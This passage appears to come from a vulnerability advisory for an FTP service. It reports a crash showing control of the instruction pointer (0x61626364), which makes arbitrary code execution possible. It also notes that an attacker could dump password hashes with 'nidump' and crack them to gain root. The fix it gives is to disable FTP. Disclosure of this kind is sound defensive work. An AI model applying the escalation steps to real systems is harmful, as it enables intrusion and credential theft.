		As can be seen from the crash dump, the application
		has attempted to execute code at '0x61626364' which
		is ASCII code for 'abcd'. Being able to influence the
		applications execution process means it is possible
		for an attacker to execute arbitrary code and thus
		gain access to the target machine. Fortunately, the
		service is running as the 'webstar' user which is not
		an administrative account by default. However, once an
		attacker has gained initial access to the target machine,
		it is possible to access the system password hashes using
		the 'nidump' utility and hence possibly gain admin (root)
		priveleges if these hashes are cracked.

FIX:		Disable the FTP service until a fix is available.
